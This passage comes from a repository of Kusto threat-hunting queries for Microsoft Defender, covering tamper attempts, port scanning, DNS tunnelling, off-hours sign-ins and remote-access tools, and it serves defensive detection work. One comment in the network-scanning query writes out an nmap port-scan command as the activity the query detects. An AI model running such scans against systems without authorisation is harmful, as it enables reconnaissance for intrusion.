for Endpoint](https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/discovering-internet-facing-devices-using-microsoft-defender-for/ba-p/3778975) 4 | 5 | ---- 6 | 7 | ## Query 8 | 9 | ```Kusto 10 | 11 | DeviceInfo 12 | | where Timestamp > ago(7d) 13 | | where IsInternetFacing 14 | | extend InternetFacingInfo = AdditionalFields 15 | | extend InternetFacingReason = extractjson("$.InternetFacingReason", InternetFacingInfo, typeof(string)), InternetFacingLocalPort = extractjson("$.InternetFacingLocalPort", InternetFacingInfo, typeof(int)), InternetFacingScannedPublicPort = extractjson("$.InternetFacingScannedPublicPort", InternetFacingInfo, typeof(int)), InternetFacingScannedPublicIp = extractjson("$.InternetFacingScannedPublicIp", InternetFacingInfo, typeof(string)), InternetFacingLocalIp = extractjson("$.InternetFacingLocalIp", InternetFacingInfo, typeof(string)), InternetFacingTransportProtocol=extractjson("$.InternetFacingTransportProtocol", InternetFacingInfo, typeof(string)), InternetFacingLastSeen = extractjson("$.InternetFacingLastSeen", InternetFacingInfo, typeof(datetime)) 16 | | summarize arg_max(Timestamp, *) by DeviceId 17 | ``` 18 | 19 | 20 | ```Kusto 21 | // SMB 22 | DeviceInfo 23 | | where Timestamp > ago(7d) 24 | | where IsInternetFacing 25 | | extend InternetFacingInfo = AdditionalFields 26 | | extend InternetFacingReason = extractjson("$.InternetFacingReason", InternetFacingInfo, typeof(string)), 27 | InternetFacingLocalPort = extractjson("$.InternetFacingLocalPort", InternetFacingInfo, typeof(int)), InternetFacingScannedPublicPort = extractjson("$.InternetFacingScannedPublicPort", 28 | InternetFacingInfo, typeof(int)), InternetFacingScannedPublicIp = extractjson("$.InternetFacingScannedPublicIp", InternetFacingInfo, typeof(string)), 29 | InternetFacingLocalIp = extractjson("$.InternetFacingLocalIp", InternetFacingInfo, typeof(string)), InternetFacingTransportProtocol=extractjson("$.InternetFacingTransportProtocol", 30 | InternetFacingInfo, typeof(string)), InternetFacingLastSeen = extractjson("$.InternetFacingLastSeen", InternetFacingInfo, typeof(datetime)) 31 | | summarize arg_max(Timestamp, *) by DeviceId 32 | | project 33 | DeviceName, 34 | IsInternetFacing, 35 | InternetFacingReason, 36 | InternetFacingLocalIp, 37 | InternetFacingLocalPort, 38 | InternetFacingScannedPublicIp, 39 | InternetFacingScannedPublicPort 40 | | where InternetFacingLocalPort == 139 41 | //| where InternetFacingLocalPort == 139 or InternetFacingLocalPort == 445 42 | 43 | ``` -------------------------------------------------------------------------------- /AdvancedHunting/MDE-Signature-FP-ASR.md: -------------------------------------------------------------------------------- 1 | 2 | # Defender for Endpoint - Devices with Signatures that affect the ASR Rule Block Win32 API calls from Office macro 3 | 4 | Run the below queries to identify devices that have signatures installed that affect the FB for Block Win32 API calls from Office macro, deleting shortcuts. 5 | 6 | For more details see [ASR rule “Block Win32 API calls from Office macro” - FP issue Frequently Asked Questions (FAQ)](https://github.com/microsoft/MDE-PowerBI-Templates/blob/master/ASR_scripts/ASR_rule_Block_Win32_API_calls_from_Office_Macro_issue_Q%26A.md) 7 | 8 | All the queries return the same information, just demonstrating different options or enriching the data with additional data 9 | 10 | 11 | --- 12 | 13 | ```Kusto 14 | // Identify devices that have the signatureversion that affects the ASR Block Rule Block Win32 API calls from Office macro 15 | let badsignatures = dynamic(['1.381.2134.0','1.381.2140.0','1.381.2152.0','1.381.2163.0']); 16 | DeviceTvmInfoGathering 17 | | evaluate bag_unpack(AdditionalFields) 18 | | where isnotempty( AvSignatureVersion ) 19 | | summarize arg_max(Timestamp,*) by DeviceId 20 | | project Timestamp, DeviceName, AvSignatureVersion, AvPlatformVersion, AvEngineVersion 21 | | where AvSignatureVersion in (badsignatures) 22 | ``` 23 | 24 | ```Kusto 25 | // Identify devices that have the signatureversion that affects the ASR Block Rule Block Win32 API calls from Office macro 26 | let badsignatures = dynamic(['1.381.2134.0','1.381.2140.0','1.381.2152.0','1.381.2163.0']); 27 | DeviceTvmInfoGathering 28 | | extend AdditionalFields = parse_json(AdditionalFields) 29 | | extend AvEngineVersion = tostring(AdditionalFields.["AvEngineVersion"]) 30 | | extend AvPlatformVersion = tostring(AdditionalFields.["AvPlatformVersion"]) 31 | | extend AvSignatureVersion = tostring(AdditionalFields.["AvSignatureVersion"]) 32 | | where isnotempty( AvSignatureVersion ) 33 | | summarize arg_max(Timestamp,*) by DeviceId 34 | | project Timestamp, DeviceName, AvSignatureVersion, AvPlatformVersion, AvEngineVersion, AdditionalFields 35 | | where AvSignatureVersion in (badsignatures) 36 | ``` 37 | 38 | ```Kusto 39 | // Identify devices that have the signatureversion that affects the ASR Block Rule Block Win32 API calls from Office macro 40 | // joining the data with the DeviceInfo table to get additional OS version information. 41 | let badsignatures = dynamic(['1.381.2134.0','1.381.2140.0','1.381.2152.0','1.381.2163.0']); 42 | DeviceInfo 43 | | where OnboardingStatus == 'Onboarded' 44 | | where isnotempty( OSBuild) 45 | | summarize arg_max(Timestamp,*) by DeviceName 46 | | join kind=leftouter (DeviceTvmInfoGathering 47 | | extend AF = AdditionalFields) 48 | on $left.DeviceId== $right. DeviceId 49 | | evaluate bag_unpack(AF) 50 | | where isnotempty( AvSignatureVersion ) 51 | | extend AdditionalFields = parse_json(AdditionalFields1) 52 | | extend AvEngineVersion = tostring(AdditionalFields.["AvEngineVersion"]) 53 | | extend AvPlatformVersion = tostring(AdditionalFields.["AvPlatformVersion"]) 54 | | extend AvSignatureVersion = tostring(AdditionalFields.["AvSignatureVersion"]) 55 | | project Timestamp, DeviceName, AvSignatureVersion, AvPlatformVersion, AvEngineVersion, OSBuild, OSVersion, OSPlatform 56 | | where AvSignatureVersion in (badsignatures) 57 | ``` 58 | 59 | To get a complete inventory of installed Signature updates, simply uncomment the last line in the above queries 60 | ``` 61 | // | where AvSignatureVersion in (badsignatures) 62 | ``` -------------------------------------------------------------------------------- /AdvancedHunting/MDE-TVM-BrowserExtensions.md: -------------------------------------------------------------------------------- 1 | # Microsoft Defender for Endpoint - TVM - Browser Extensions 2 | 3 | Use the below queries to gather Browser Extension information from Microsoft Defender Threat and Vulnerability Management 4 | 5 | --- 6 | 7 | ## Query 8 | 9 | ```Kusto 10 | // All Browser Extension Data 11 | DeviceTvmBrowserExtensions 12 | | join DeviceTvmBrowserExtensionsKB 13 | on $left. ExtensionId == $right.ExtensionId 14 | ``` 15 | 16 | ```Kusto 17 | // Browser Extension data with ExtensionID and Risk as input for blocking/allowing extensions (GPO/Intune) 18 | DeviceTvmBrowserExtensions 19 | | project ExtensionName, ExtensionDescription, ExtensionId, ExtensionRisk 20 | ``` 21 | 22 | ```Kusto 23 | // Total by Browser / Extension Risk 24 | DeviceTvmBrowserExtensions 25 | | distinct BrowserName, ExtensionName, ExtensionRisk 26 | | summarize count() by BrowserName, ExtensionRisk 27 | ``` 28 | 29 | ```Kusto 30 | // Browser Extension by Browser, Extention, Installed vs Activated 31 | DeviceTvmBrowserExtensions 32 | | summarize TotalDevices=dcount(DeviceId), ExtensionOn = dcountif(DeviceId,IsActivated=="true") by BrowserName, ExtensionName, ExtensionRisk, ExtensionId 33 | | sort by ExtensionName asc 34 | // | where ExtensionName contains "Cisco Webex Extension" 35 | ``` 36 | 37 | ```Kusto 38 | 39 | // All Browser Extension Permissions 40 | DeviceTvmBrowserExtensions 41 | | join DeviceTvmBrowserExtensionsKB 42 | on $left. ExtensionId == $right.ExtensionId 43 | | summarize count() by PermissionName, PermissionDescription, PermissionRisk 44 | | sort by PermissionRisk, count_ 45 | ``` 46 | 47 | 48 | ## Category 49 | 50 | This query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states. 51 | 52 | | Technique, tactic, or state | Covered? (v=yes) | Notes | 53 | |-|-|-| 54 | | Initial access | | | 55 | | Execution | | | 56 | | Persistence | | | 57 | | Privilege escalation | | | 58 | | Defense evasion | | | 59 | | Credential Access | | | 60 | | Discovery | | | 61 | | Lateral movement | | | 62 | | Collection | | | 63 | | Command and control | | | 64 | | Exfiltration | | | 65 | | Impact | | | 66 | | Vulnerability | | | 67 | | Misconfiguration | | | 68 | | Malware, component | | | 69 | 70 | ## See also 71 | 72 | ## Contributor info 73 | 74 | **Contributor:** Alex Verboon -------------------------------------------------------------------------------- /AdvancedHunting/MDE-Tampering.md: -------------------------------------------------------------------------------- 1 | # Microsoft Defender for Endpoint - Tamper Protection 2 | 3 | Run the below queries to find Microsoft Defender tampering attempts 4 | 5 | ## Query Information 6 | 7 | 8 | ``` 9 | DeviceEvents 10 | | where TimeGenerated > ago (30d) 11 | | where ActionType == @"TamperingAttempt" 12 | | extend AF = parse_json(AdditionalFields) 13 | | evaluate bag_unpack(AF,columnsConflict='keep_source') : (DeviceName:string,TimeGenerated:datetime,ActionType:string,Status:string, TamperingAction:long,Target:string) 14 | ``` 15 | 16 | #### MITRE ATT&CK Technique(s) 17 | 18 | | Technique ID | Title | Link | 19 | | --- | --- | --- | 20 | | T1562.001 | Disable or Modify Tools | https://attack.mitre.org/techniques/T1562/001/ | 21 | 22 | 23 | ### References 24 | 25 | - [Introducing tamper protection for exclusions](https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/introducing-tamper-protection-for-exclusions/ba-p/3713761) 26 | 27 | - [Protect security settings with tamper protection](https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection?view=o365-worldwide) 28 | 29 | - [Current limits of Defender AV Tamper Protection](https://cloudbrothers.info/en/current-limits-defender-av-tamper-protection/) 30 | 31 | 32 | 33 | ## Contributor info 34 | 35 | **Contributor:** Alex Verboon 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /AdvancedHunting/MDE-TroubleshootingMode.md: -------------------------------------------------------------------------------- 1 | # Microsoft Defender for Endpoint - Troubleshooting Mode 2 | 3 | Run the below queries to retrieve information about MDE Troublshooting mode states 4 | 5 | Source: [Get started with troubleshooting mode in Microsoft Defender for Endpoint](https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/enable-troubleshooting-mode?view=o365-worldwide) 6 | 7 | ---- 8 | 9 | ## Query 10 | 11 | Search by deviceId or deviceName by commenting out the respective lines. 12 | 13 | 14 | ```Kusto 15 | //let deviceName = ""; // update with device name 16 | let deviceId = ""; // update with device id 17 | DeviceEvents 18 | | where DeviceId == deviceId 19 | //| where DeviceName == deviceName 20 | | where ActionType == "AntivirusTroubleshootModeEvent" 21 | | extend _tsmodeproperties = parse_json(AdditionalFields) 22 | | project Timestamp,DeviceId, DeviceName, _tsmodeproperties, 23 | _tsmodeproperties.TroubleshootingState, _tsmodeproperties.TroubleshootingPreviousState, _tsmodeproperties.TroubleshootingStartTime, 24 | _tsmodeproperties.TroubleshootingStateExpiry, _tsmodeproperties.TroubleshootingStateRemainingMinutes, 25 | _tsmodeproperties.TroubleshootingStateChangeReason, _tsmodeproperties.TroubleshootingStateChangeSource 26 | ``` 27 | 28 | Devices currently in troubleshooting mode 29 | 30 | 31 | ```Kusto 32 | DeviceEvents 33 | | where Timestamp > ago(3h) // troubleshooting mode automatically disables after 3 hours 34 | | where ActionType == "AntivirusTroubleshootModeEvent" 35 | | extend _tsmodeproperties = parse_json(AdditionalFields) 36 | | where _tsmodeproperties.TroubleshootingStateChangeReason contains "started" 37 | |summarize (Timestamp, ReportId)=arg_max(Timestamp, ReportId), count() by DeviceId 38 | | order by Timestamp desc 39 | ``` 40 | 41 | Count of troubleshooting mode instances by device 42 | 43 | ```Kusto 44 | DeviceEvents 45 | | where ActionType == "AntivirusTroubleshootModeEvent" 46 | | extend _tsmodeproperties = parse_json(AdditionalFields) 47 | | where Timestamp > ago(30d) // choose the date range you want 48 | | where _tsmodeproperties.TroubleshootingStateChangeReason contains "started" 49 | | summarize (Timestamp, ReportId)=arg_max(Timestamp, ReportId), count() by DeviceId 50 | | sort by count_ 51 | ``` 52 | 53 | Total count 54 | 55 | 56 | ```Kusto 57 | DeviceEvents 58 | | where ActionType == "AntivirusTroubleshootModeEvent" 59 | | extend _tsmodeproperties = parse_json(AdditionalFields) 60 | | where Timestamp > ago(2d) //beginning of time range 61 | | where Timestamp < ago(1d) //end of time range 62 | | where _tsmodeproperties.TroubleshootingStateChangeReason contains "started" 63 | | summarize (Timestamp, ReportId)=arg_max(Timestamp, ReportId), count() 64 | | where count_ > 5 // choose your max # of TS mode instances for your time range 65 | ``` -------------------------------------------------------------------------------- /AdvancedHunting/MDI - WinPcap - npcap.md: -------------------------------------------------------------------------------- 1 | # Defender for Identity 2 | 3 | Retrieve Devices with NPCAP, WinPcap drivers 4 | 5 | --- 6 | 7 | ## Query 8 | 9 | ```Kusto 10 | // Winpcap - npcap 11 | DeviceTvmSoftwareInventory 12 | | where SoftwareName contains "pcap" 13 | | join ( DeviceTvmSoftwareEvidenceBeta 14 | | where SoftwareName contains "pcap") 15 | on $left.SoftwareName == $right.SoftwareName 16 | ``` 17 | 18 | ```Kusto 19 | DeviceNetworkEvents 20 | | where LocalPort == "88" 21 | | distinct DeviceId 22 | | join kind=inner ( 23 | DeviceInfo 24 | | where OSPlatform hasprefix "windowsserver" 25 | | summarize arg_max(Timestamp,*) by DeviceId 26 | ) on DeviceId 27 | | project Timestamp, DeviceId, OSPlatform, OSVersionInfo 28 | | join kind=leftouter ( 29 | DeviceProcessEvents 30 | | where FileName =~ "Microsoft.Tri.Sensor.exe" 31 | | summarize arg_max(Timestamp,*) by DeviceId 32 | | distinct DeviceId, ProcessVersionInfoProductName, ProcessVersionInfoProductVersion 33 | ) on DeviceId 34 | | project-away DeviceId1 35 | | join kind=inner ( 36 | DeviceTvmSoftwareInventory 37 | | where SoftwareName contains "pcap" 38 | | distinct DeviceId, SoftwareVendor, SoftwareName, SoftwareVersion 39 | ) on DeviceId 40 | | project-away DeviceId1 41 | ``` 42 | 43 | 44 | ## Category 45 | 46 | This query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states. 47 | 48 | | Technique, tactic, or state | Covered? (v=yes) | Notes | 49 | |-|-|-| 50 | | Initial access | | | 51 | | Execution | | | 52 | | Persistence | | | 53 | | Privilege escalation | | | 54 | | Defense evasion | | | 55 | | Credential Access | | | 56 | | Discovery | | | 57 | | Lateral movement | | | 58 | | Collection | | | 59 | | Command and control | | | 60 | | Exfiltration | | | 61 | | Impact | | | 62 | | Vulnerability | | | 63 | | Misconfiguration | | | 64 | | Malware, component | | | 65 | 66 | ## See also 67 | https://docs.microsoft.com/en-us/defender-for-identity/technical-faq#winpcap-and-npcap-drivers 68 | https://dirteam.com/sander/2021/08/06/whats-new-in-microsoft-defender-for-identity-in-july-2021/ 69 | 70 | 71 | ## Contributor info 72 | 73 | **Contributor:** Alex Verboon, Gianni Castaldi -------------------------------------------------------------------------------- /AdvancedHunting/MDO - Email PostDelivery Actions.md: -------------------------------------------------------------------------------- 1 | # Defender for Office 365 - Post Delivery Events Actions, Delivery Location and Duration 2 | 3 | Use the following query to see the Defender for Office 365 email information about all actions attempted on an email after delivery 4 | 5 | --- 6 | 7 | ## Query 8 | 9 | ```Kusto 10 | // show email actions and the post delivery actions 11 | EmailEvents 12 | | join ( 13 | EmailPostDeliveryEvents 14 | | extend PostThreatType = ThreatTypes 15 | | extend PostDetectionMethod = DetectionMethods 16 | | extend PostTimeStamp = Timestamp 17 | | extend PostDeliveryLocation = DeliveryLocation 18 | | extend PostActionType = ActionType 19 | ) 20 | on NetworkMessageId, RecipientEmailAddress 21 | | extend PostActionDuration = PostTimeStamp - Timestamp 22 | | project Timestamp, RecipientEmailAddress, Subject, ThreatTypes, DetectionMethods, DeliveryLocation, PostTimeStamp, PostThreatType, PostDetectionMethod, PostDeliveryLocation, PostActionType, PostActionDuration, NetworkMessageId 23 | | where DeliveryLocation != PostDeliveryLocation 24 | 25 | 26 | ``` 27 | 28 | 29 | 30 | ## Category 31 | 32 | This query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states. 33 | 34 | | Technique, tactic, or state | Covered? (v=yes) | Notes | 35 | |-|-|-| 36 | | Initial access | | | 37 | | Execution | | | 38 | | Persistence | | | 39 | | Privilege escalation | | | 40 | | Defense evasion | | | 41 | | Credential Access | | | 42 | | Discovery | | | 43 | | Lateral movement | | | 44 | | Collection | | | 45 | | Command and control | | | 46 | | Exfiltration | | | 47 | | Impact | | | 48 | | Vulnerability | | | 49 | | Misconfiguration | | | 50 | | Malware, component | | | 51 | 52 | ## See also 53 | https://techcommunity.microsoft.com/t5/microsoft-365-defender/advanced-hunting-surfacing-more-email-data-from-microsoft/ba-p/2678118 54 | 55 | ## Contributor info 56 | 57 | **Contributor:** Alex Verboon -------------------------------------------------------------------------------- /AdvancedHunting/MMA - Update.md: -------------------------------------------------------------------------------- 1 | # Mandatory update of MMA agent on Windows devices for Microsoft Defender for Endpoint 2 | 3 | Upgrade to the latest version of the Windows Log Analytics / SCOM agent (MMA) by February 1st, 2023 4 | 5 | Microsoft Defender for Endpoint (MDE) running on Windows 7 SP1, Windows 8.1, Windows Server 2008 R2 and Windows Server 2012 R2/2016 (that have not yet been upgraded to the unified solution) has a dependency on the Microsoft Monitoring Agent (MMA). 6 | 7 | [Message Center](https://admin.microsoft.com/Adminportal/Home?source=applauncher&ref=MessageCenter/:/messages/MC455194) 8 | 9 | 10 | 11 | 12 | ## Query 13 | 14 | To identify affected machines in your environment, you can run the following query in advanced hunting: 15 | 16 | 17 | ```Kusto 18 | 19 | // MMA Agents end of life 20 | DeviceTvmSoftwareInventory 21 | | where SoftwareName == "monitoring_agent" 22 | | where (SoftwareVersion startswith "10.22" and parse_version(SoftwareVersion) < parse_version("10.22.10056.0")) 23 | or (SoftwareVersion startswith "10.20" and parse_version(SoftwareVersion) < parse_version("10.20.18053.0")) 24 | or (parse_version(SoftwareVersion) < parse_version("10.19.101770.0")) 25 | ``` 26 | 27 | -------------------------------------------------------------------------------- /AdvancedHunting/PatchMyPC_MDE/patchmypc_mde.csv: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/MDATP/b1bc1506cfdf1d08bbddced6b7abdae77cb44c7a/AdvancedHunting/PatchMyPC_MDE/patchmypc_mde.csv -------------------------------------------------------------------------------- /AdvancedHunting/PatchMyPC_MDE/pmpmde.kql: -------------------------------------------------------------------------------- 1 | 2 | let patchmypcmdemap = (externaldata(softwarename: string, vendor: string, mdesoftwarename: string) 3 | [@https://raw.githubusercontent.com/alexverboon/MDATP/master/AdvancedHunting/PatchMyPC_MDE/patchmypc_mde.csv] 4 | with (format="csv", ignoreFirstRecord=true)) 5 | | distinct mdesoftwarename; 6 | DeviceTvmSoftwareVulnerabilities 7 | | summarize make_list(VulnerabilitySeverityLevel), make_set(DeviceId), make_set(CveId), make_set(SoftwareVersion) 8 | , Critical = make_set_if(CveId, VulnerabilitySeverityLevel == 'Critical'), 9 | High = make_set_if(CveId, VulnerabilitySeverityLevel == 'High'), 10 | Medium = make_set_if(CveId, VulnerabilitySeverityLevel == 'Medium'), 11 | Low = make_set_if(CveId, VulnerabilitySeverityLevel == 'Low') 12 | by SoftwareName, SoftwareVendor 13 | | extend ExposedDevices = array_length(set_DeviceId) 14 | | extend TotalVulnerabilities = array_length(set_CveId) 15 | | extend VersionDistribution = array_length(set_SoftwareVersion) 16 | | extend Critical = array_length(Critical) 17 | | extend High = array_length(High) 18 | | extend Medium = array_length(Medium) 19 | | extend Low = array_length(Low) 20 | | project SoftwareVendor, SoftwareName, ExposedDevices, TotalVulnerabilities, Critical, High, Medium, Low 21 | | join kind= leftouter patchmypcmdemap 22 | on $left.SoftwareName == $right.mdesoftwarename 23 | | extend PatchMyPC = case(isnotempty(mdesoftwarename), "Yes", "No") 24 | | project-away mdesoftwarename 25 | // | summarize count() by PatchMyPC 26 | -------------------------------------------------------------------------------- /AdvancedHunting/Sign-in - Auditlog outside office hours.md: -------------------------------------------------------------------------------- 1 | # Outside Office Hours activity 2 | 3 | Use the below queries to identify sign-ins and activities that take place outside of regular office hours such as 4 | between 6PM to 6AM or during weekends. 5 | 6 | --- 7 | 8 | ## Query 9 | 10 | ```Kusto 11 | // Sign-ins that happen outside of regular office hours 12 | 13 | 14 | SigninLogs 15 | | where TimeGenerated > ago(180d) 16 | | extend hour = datetime_part("hour", TimeGenerated) 17 | | extend dayofmonth = datetime_part("Day", TimeGenerated) 18 | | extend dayofweek = toint(format_timespan(dayofweek(TimeGenerated), 'd')) 19 | | extend dayname = case (dayofweek == 0, "Sunday", 20 | dayofweek == 1, "Monday", 21 | dayofweek == 2, "Tuesday", 22 | dayofweek == 3, "Wednesday", 23 | dayofweek == 4, "Thursday", 24 | dayofweek == 5, "Firday", 25 | dayofweek == 6, "Saturday", 26 | "unknown") 27 | | extend DeviceName = tostring(DeviceDetail.displayName) 28 | | extend browser = tostring(DeviceDetail.browser) 29 | | extend trustType = tostring(DeviceDetail.trustType) 30 | | extend operatingSystem = tostring(DeviceDetail.operatingSystem) 31 | | extend city = tostring(LocationDetails.city) 32 | | extend state = tostring(LocationDetails.state) 33 | | where ResultType == 0 34 | | where hourofday(TimeGenerated) !between (6 .. 18) 35 | or dayofweek == 0 36 | or dayofweek == 6 37 | | sort by TimeGenerated desc 38 | | project 39 | TimeGenerated, 40 | hour, 41 | dayofweek, 42 | dayname, 43 | UserPrincipalName, 44 | Location, 45 | city, 46 | ['state'], 47 | DeviceName, 48 | trustType, 49 | operatingSystem, 50 | browser, 51 | ClientAppUsed, 52 | AppDisplayName 53 | // | where trustType <> "Azure AD joined" 54 | | where AppDisplayName in ("Azure Portal", "Microsoft Exchange Online Remote PowerShell", "Microsoft Exchange REST API Based Powershell") 55 | // | summarize count() by bin(TimeGenerated,1h), dayname 56 | // | render timechart 57 | ``` 58 | 59 | 60 | ```Kusto 61 | // AzureAD activities outside office hours 62 | AuditLogs 63 | | where TimeGenerated > ago(134d) 64 | | extend InitiatedUPN = tostring(parse_json(tostring(InitiatedBy.user)).userPrincipalName) 65 | | extend InitiatedDisplayName = tostring(parse_json(tostring(InitiatedBy.user)).displayName) 66 | | extend AppDisplayName = tostring(parse_json(tostring(InitiatedBy.app)).displayName) 67 | | extend hour = datetime_part("hour", TimeGenerated) 68 | | extend dayofmonth = datetime_part("Day", TimeGenerated) 69 | | extend dayofweek = toint(format_timespan(dayofweek(TimeGenerated), 'd')) 70 | | extend dayname = case (dayofweek == 0, "Sunday", 71 | dayofweek == 1, "Monday", 72 | dayofweek == 2, "Tuesday", 73 | dayofweek == 3, "Wednesday", 74 | dayofweek == 4, "Thursday", 75 | dayofweek == 5, "Firday", 76 | dayofweek == 6, "Saturday", 77 | "unknown") 78 | | where hourofday(TimeGenerated) !between (6 .. 18) 79 | or dayofweek == 0 80 | or dayofweek == 6 81 | | sort by TimeGenerated desc 82 | | where OperationName startswith "Add" 83 | | where isnotempty( InitiatedUPN) 84 | | project 85 | TimeGenerated, 86 | hour, 87 | dayofweek, 88 | dayname, 89 | OperationName, 90 | InitiatedUPN, 91 | InitiatedDisplayName 92 | 93 | ``` 94 | 95 | ```Kusto 96 | // Device logon events outside office hours, run in Defender 365 and fine tune to specific systems and users 97 | DeviceLogonEvents 98 | | where Timestamp > ago(7d) 99 | | extend hour = datetime_part("hour", Timestamp) 100 | | extend dayofmonth = datetime_part("Day", Timestamp) 101 | | extend dayofweek = toint(format_timespan(dayofweek(Timestamp), 'd')) 102 | | extend dayname = case (dayofweek == 0, "Sunday", 103 | dayofweek == 1, "Monday", 104 | dayofweek == 2, "Tuesday", 105 | dayofweek == 3, "Wednesday", 106 | dayofweek == 4, "Thursday", 107 | dayofweek == 5, "Firday", 108 | dayofweek == 6, "Saturday", 109 | "unknown") 110 | | where hourofday(Timestamp) !between (6 .. 18) 111 | or dayofweek == 0 112 | or dayofweek == 6 113 | | sort by Timestamp desc 114 | | where ActionType == 'LogonSuccess' 115 | ``` 116 | 117 | 118 | 119 | ## Category 120 | 121 | This query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states. 122 | 123 | | Technique, tactic, or state | Covered? (v=yes) | Notes | 124 | |-|-|-| 125 | | Initial access | | | 126 | | Execution | | | 127 | | Persistence | | | 128 | | Privilege escalation | | | 129 | | Defense evasion | | | 130 | | Credential Access | | | 131 | | Discovery | | | 132 | | Lateral movement | | | 133 | | Collection | | | 134 | | Command and control | | | 135 | | Exfiltration | | | 136 | | Impact | | | 137 | | Vulnerability | | | 138 | | Misconfiguration | | | 139 | | Malware, component | | | 140 | 141 | ## See also 142 | 143 | ## Contributor info 144 | 145 | **Contributor:** Alex Verboon 146 | -------------------------------------------------------------------------------- /AdvancedHunting/T1046 - Network Service Scanning.md: -------------------------------------------------------------------------------- 1 | # T1046 Network Service Scanning 2 | 3 | Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. 4 | 5 | Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well. 6 | 7 | --- 8 | 9 | ## Query 10 | 11 | 12 | ```Kusto 13 | // Find high count of outgoing connection requests on different ports (like when using nmap) 14 | // sudo nmap -F -v -Pn 15 | let timeinterval = 1s; 16 | DeviceNetworkEvents 17 | | where ActionType == "ConnectionRequest" 18 | | summarize Totalports = dcount(RemotePort), PortDetails = make_set(RemotePort) by DeviceName,RemoteIP ,bin(Timestamp,timeinterval) 19 | | where Totalports > 10 20 | ``` 21 | 22 | 23 | ```Kusto 24 | // port scanning Alerts 25 | DeviceAlertEvents 26 | | where Title == "Horizontal port scan initiated" or Title == "Vertical port scanning activity initiated by device" 27 | ``` 28 | 29 | ```Kusto 30 | // port scanning Alerts 31 | DeviceAlertEvents 32 | | where AttackTechniques == @"[""Network Service Scanning (T1046)""]" 33 | ``` 34 | 35 | 36 | 37 | ## Category 38 | 39 | This query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states. 40 | 41 | | Technique, tactic, or state | Covered? (v=yes) | Notes | 42 | |-|-|-| 43 | | Initial access | | | 44 | | Execution | | | 45 | | Persistence | | | 46 | | Privilege escalation | | | 47 | | Defense evasion | | | 48 | | Credential Access | | | 49 | | Discovery | v | https://attack.mitre.org/techniques/T1046/ | 50 | | Lateral movement | | | 51 | | Collection | | | 52 | | Command and control | | | 53 | | Exfiltration | | | 54 | | Impact | | | 55 | | Vulnerability | | | 56 | | Misconfiguration | | | 57 | | Malware, component | | | 58 | 59 | ## See also 60 | 61 | ## Contributor info 62 | 63 | **Contributor:** Alex Verboon -------------------------------------------------------------------------------- /AdvancedHunting/T1071.004 - Application Layer Protocol - DNS.md: -------------------------------------------------------------------------------- 1 | # T1071.004 - Application Layer Protocol: DNS 2 | 3 | Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. 4 | Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. 5 | 6 | --- 7 | 8 | ## Query 9 | 10 | ```Kusto 11 | DeviceEvents 12 | | where ActionType == "DnsQueryResponse" 13 | | extend DNSQuerystring = tostring(parse_json(AdditionalFields).DnsQueryString) 14 | | extend DNSQueryDetails = parse_json(AdditionalFields).DnsQueryResult 15 | | mv-expand DNSQueryDetails 16 | | extend DNSQueryResult = tostring(extractjson("$.Result",tostring(DNSQueryDetails))) 17 | | extend DNSQueryType = tostring(extractjson("$.DnsQueryType",tostring(DNSQueryDetails))) 18 | | project TimeGenerated,DeviceName, DNSQueryType, DNSQueryResult, DNSQuerystring 19 | | where DNSQueryType == @"TEXT" 20 | ``` 21 | If you want to run the query in Azure Sentinel (when you are forwarding MDE logs) simply replace Timestamp with Timegenerated. 22 | 23 | 24 | ## Category 25 | 26 | This query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states. 27 | 28 | | Technique, tactic, or state | Covered? (v=yes) | Notes | 29 | |-|-|-| 30 | | Initial access | | | 31 | | Execution | | | 32 | | Persistence | | | 33 | | Privilege escalation | | | 34 | | Defense evasion | | | 35 | | Credential Access | | | 36 | | Discovery | | | 37 | | Lateral movement | | | 38 | | Collection | | | 39 | | Command and control | v | https://attack.mitre.org/techniques/T1071/004/ | 40 | | Exfiltration | | | 41 | | Impact | | | 42 | | Vulnerability | | | 43 | | Misconfiguration | | | 44 | | Malware, component | | | 45 | 46 | ## See also 47 | https://medium.com/@maarten.goet/protecting-against-malicious-payloads-over-dns-using-azure-sentinel-b16b41de52fd 48 | https://www.reliaquest.com/blog/threat-hunting-use-case-dns-queries/ 49 | https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/ 50 | 51 | 52 | 53 | ## Contributor info 54 | 55 | **Contributor:** 56 | 57 | Alex Verboon 58 | 59 | -------------------------------------------------------------------------------- /AdvancedHunting/T1219 - Remote Access Software.md: -------------------------------------------------------------------------------- 1 | # T1219 - Remote Access Software 2 | 3 | Use the below queries to identify successfull and failed connection attempts from TeamViewer 4 | 5 | --- 6 | 7 | ## Query 8 | 9 | ```Kusto 10 | // Summarize TeamViewer connections attempts from public IP addresses 11 | DeviceNetworkEvents 12 | | where InitiatingProcessFileName == "TeamViewer_Service.exe" 13 | | where RemoteIPType == "Public" 14 | // | where RemotePort == 80 15 | | summarize Failed = countif(ActionType == 'ConnectionFailed'),Success = countif(ActionType == 'ConnectionSuccess'), totalip = dcount(RemoteIP ) by DeviceName, RemoteIP 16 | | sort by Failed desc 17 | ``` 18 | 19 | ```Kusto 20 | // 